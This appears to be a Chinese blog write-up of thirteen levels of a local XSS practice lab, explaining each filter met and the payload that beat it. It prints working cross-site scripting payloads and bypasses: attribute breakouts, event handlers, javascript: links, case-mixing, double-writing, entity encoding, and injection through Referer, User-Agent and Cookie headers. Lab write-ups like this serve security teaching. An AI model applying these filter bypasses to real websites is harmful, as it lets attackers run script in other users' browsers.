XssChallege(一)

终极测试代码 <script script "’ OOnn>

one

直接进行
得到弹窗
next

two

进行标签构造弹窗
失败
查看网页源码

<h1 align=center>欢迎来到level2</h1>
<h2 align=center>没有找到和&lt;script&gt;alert(/xss/)&lt;/script&gt;相关的结果.</h2>

<input name=keyword value="<script>alert(1)</script>">
发现尖括号被转变为HTML实体,双引号为转义
查看页面属性查看器
在这里插入图片描述

可以先将搜索闭合,再执行弹窗
"><script>alert('xss')</script>
弹窗成功
next

htmlspecialchars($str)用法
htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。
预定义的字符是:
& (和号)成为 &amp
" (双引号)成为 &quot
' (单引号)成为 '
< (小于)成为 &lt
> (大于)成为 &gt

| 例如:

<?php $str = "This is some bold text."; echo htmlspecialchars($str); ?> |

| — |

THREE

输入
无弹窗,在这里插入图片描述

查看源代码,发现
<input name=keyword value='&lt;script&gt;alert(xss)&lt;/script&gt;'>
尖括号都被转义,但单引号未被转义
接着输入'<script>alert(1)</script>进行闭合,发现
尖括号依然被转义,于是要考虑不使用尖括号的办法
<input name=keyword value=''onclick=alert(1)//'>
采用产生行为的方法以及注释
在这里插入图片描述

FOUR

依然输入
未弹窗,查看网页源代码
<input name=keyword value="scriptalert(1)/script">
搜索框处将尖括号过滤掉了并且双引号闭合
于是需要使用 非创建标签的办法
"onclick=alert(1) //
对前面进行闭合,后面注释,然后点击,弹窗成功
在这里插入图片描述

FIVE

老办法,先输入进行测试
不弹窗。查看网页源代码
<input name=keyword value="<scr_ipt>alert(1)</script>">
发现搜索框中对 script 标签加入了下划线,
尝试大小写转换或双写绕过
尝试大小写,大写被转换未小写,弹窗无果
<input name=keyword value="<scr_ipt>alert(1)<scr_ipt>">
尝试双写绕过,依然暴毙,避开 script
使用onclick 也被加下划线,
由于不对尖括号进行过滤,换伪协议尝试,先对之前的标签进行闭合,构造标签的方法都需将原标签闭合
"><a href=javascript:alert(1)>//
在这里插入图片描述

点击,弹窗成功。可以得出,这关是对关键词script和与on有关的进行加下划线。

SIX

上来老办法测试
查看网页源代码
<input name=keyword value="<scr_ipt>alert(/xss/)</script>">
有关键词过滤,无尖括号过滤,
尝试第五关的方法
<input name=keyword value=""><a hr_ef=javascript:alert(1)>//">
这关对href关键词也加入了过滤,尝试大小写转换
keyword="><a hREf=javascript:alert(1)>//
对过滤加下划线的地方进行大小写转换
弹窗成功,有可能是对固定关键词进行过滤,尝试
keyword="><scRIpt>alert(/xss/)</scRIpt>//
依然成功,由此可得,这关仅对固定关键词进行过滤。

SEVEN

老办法测试
查看源代码<input name=keyword value="<>alert(/xss/)</>">
对script进行了过滤屏蔽,未对尖括号进行过滤,
无法使用与script有关的关键词
尝试大小写转换,javascript 依然被过滤剩余 java
可见大小写转换无用
keyword="><img src=# onclick=alert(1)>//
尝试这样,结果源代码中<input name=keyword value=""><img =">
将alert过滤了,双写绕过
keyword="><a hHREFref=javasSCRIPTcript:alert(1)>//
在这里插入图片描述

成功弹窗。
在这里插入图片描述

EIGHT

因为在hackbar中执行未成功,但是在输入框中输入成功。
老办法测试
<input name=keyword value="&lt;script&gt;alert(/xss/)&lt;/script&gt;">
查看网页源代码,能看出将 尖括号 转义了,尝试 产生事件
keyword= "onclick=alert(1)
再次查看源代码
<input name=keyword value=" &quot;onclick=alert(1)">
双引号被转义,使用 伪协议
搜索框中未进行过滤
<input name=keyword value=" javascript:alert(1)">
但是在下面的 a 标签中image.png
</center><center><BR><a href=" javascr_ipt:alert(1)">友情链接</a></center><center><img src=level8.jpg></center>
被处理的JavaScript关键词中被加入了下划线,采用 对标签属性进行转码,也可以使用Tab键和回车进行
java&#x73;cript:alert(/xss/)
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

弹窗成功。

NINE

突然发现,有个更好的测试方法,<script " ’ OOnn>,这个是学习的时候了解到的
查看源代码
<input name=keyword value="&lt;script &quot;' oonn&gt;">
尖括号、双引号被转义,大写会被转换为小写
由于尖括号被转义,无法使用构造标签的方法,双引号被转义,无法使用闭合的方法。
可以使用伪代码
javascript:alert(1)
但是查看源代码,<a href="您的链接不合法?有没有!">
链接不合法?
那先写一个合法的链接javascript:alert(http://www.baidu.com)
可以正常显示了,查看源码<a href="javascr_ipt:alert(http://www.baidu.com)">
采用编码、回车、tab键的方式绕过下划线,
javasc&#x72;&#x69;pt:alert('http://www.baidu.com')
查看源代码<a href="javasc&#x72;&#x69;pt:alert('http://www.baidu.com')">
在这里插入图片描述

弹窗成功。之后通过代码审计,这一关使用了 strpos函数
意思就是所输入的参数中必须含有 http://

TEN(这一关当时真的很头疼)

测试<script script "’ OOnn>
右键查看源代码,尖括号、双引号均被转义
<h2 align=center>没有找到和&lt;script script &quot;' OOnn&gt;相关的结果.</h2>
尝试产生事件的方法
输入onmouseover=alert(1)
查看源代码<h2 align=center>没有找到和onmouseover=alert(1)相关的结果.</h2>
看呆了,除了尖括号或者双引号会被转移,剩下的都会作为文本直接输出
what happen ?
然后在看源代码时突然发现,下面有三段代码为输入在这里插入图片描述

而且类型为hidden,怪不得,被隐藏了,这里才是关键点
去到查看器下找到者三行
在这里插入图片描述

在这里直接对前端进行修改
在这里插入图片描述
移动鼠标,完成。
在这里插入图片描述

但是感觉这种方法好像是个类似于document.write(alert(1))这种通用方法
但是突破点就在这里
通过输入参数 t_sort= 发现可以对隐藏的标签中value进行传参
于是t_sort="onmouseover="alert(1)"type="text
查看器
在这里插入图片描述

网页源代码中为
在这里插入图片描述

于是移动鼠标,弹窗成功
在这里插入图片描述

个人觉得这种方式应该才是这道题正常解决方法

ELEVEN

上来先测试<script script "’ OOnn>
在这里插入图片描述

与上一关老样子,尖括号、双引号进行过滤转义,存在四行输入被隐藏
在这里插入图片描述

修改前端参数,移动鼠标,弹窗成功
在这里插入图片描述

但是这个方法。。。太过于通用了
换一种
通过与上一关通用方法进行传参&t_link="type="text&t_history="type="text&t_sort="type="text&t_ref="type="text
发现依然只有 t_sort 参数可以进行传参,但是类型修改为text后未显示文本框,
可联想到应该是通过新增的 t_ref 进行传参,但这个表单不接收参数
查看源代码
在这里插入图片描述

发现多出一个 t_ref ,且后面的值为上一关我们所输入的内容
思考!!! ref的缩写加上上一关的url,有很大可能是Referer
通过hackbar对Referer进行传参
在这里插入图片描述

数值载入成功,于是,通过Referer进行传参
在这里插入图片描述

网页源代码
在这里插入图片描述

查看器
在这里插入图片描述

在这里插入图片描述

移动鼠标,弹窗成功。

TWELVE

有了前两个经验,直接看源码
在这里插入图片描述

果然,增加了新的表单,value看着是浏览器指纹(user_agent)
以十一关的经验,通过修改USER_AGENT进行弹窗
在这里插入图片描述

查看器
![image.png](https://img-blog.csdnimg.cn/img_convert/deb7cc2d5eaac4974b6d54c0c4694d5b.png#clientId=ubbb2297a-40b8-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=113&id=uefb57d7c&margin=[object Object]&name=image.png&originHeight=122&originWidth=659&originalType=binary&ratio=1&rotation=0&showTitle=false&size=11645&status=done&style=none&taskId=u792c2d39-e3f5-447e-a677-

在这里插入图片描述

弹窗成功

THIRTEEN

查看网页源代码
在这里插入图片描述

增加了t_cook,尝试传参,传入123
在这里插入图片描述

于是从头开始,先测试传参
&t_link="type="text&t_history="type="text&t_sort="type="text&t_ref="type="text
在这里插入图片描述

sort与cook可以接收,但sort过滤双引号
尝试抓包分析

GET /xssChallenges/xss/level13.php HTTP/1.1
Host: 192.168.46.164
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: user=call+me+maybe%3F
Upgrade-Insecure-Requests: 1

%3F为?,回包中

<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="" type="hidden">
<input name="t_cook"  value="call me maybe?" type="hidden">

在数据包中进行更改

GET /xssChallenges/xss/level13.php HTTP/1.1
Host: 192.168.46.164
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: user=123
Upgrade-Insecure-Requests: 1

得到回包

<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="" type="hidden">
<input name="t_cook"  value="123" type="hidden">

成功,进行弹窗操作,之前在hackbar中未注意到cookie前还有user
在这里插入图片描述

页面成功显示输入框,移动鼠标,弹窗成功。
在这里插入图片描述

到这里感觉应该是比较适合初学者可以一次性做到的阶段。
这里代表个人观点!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值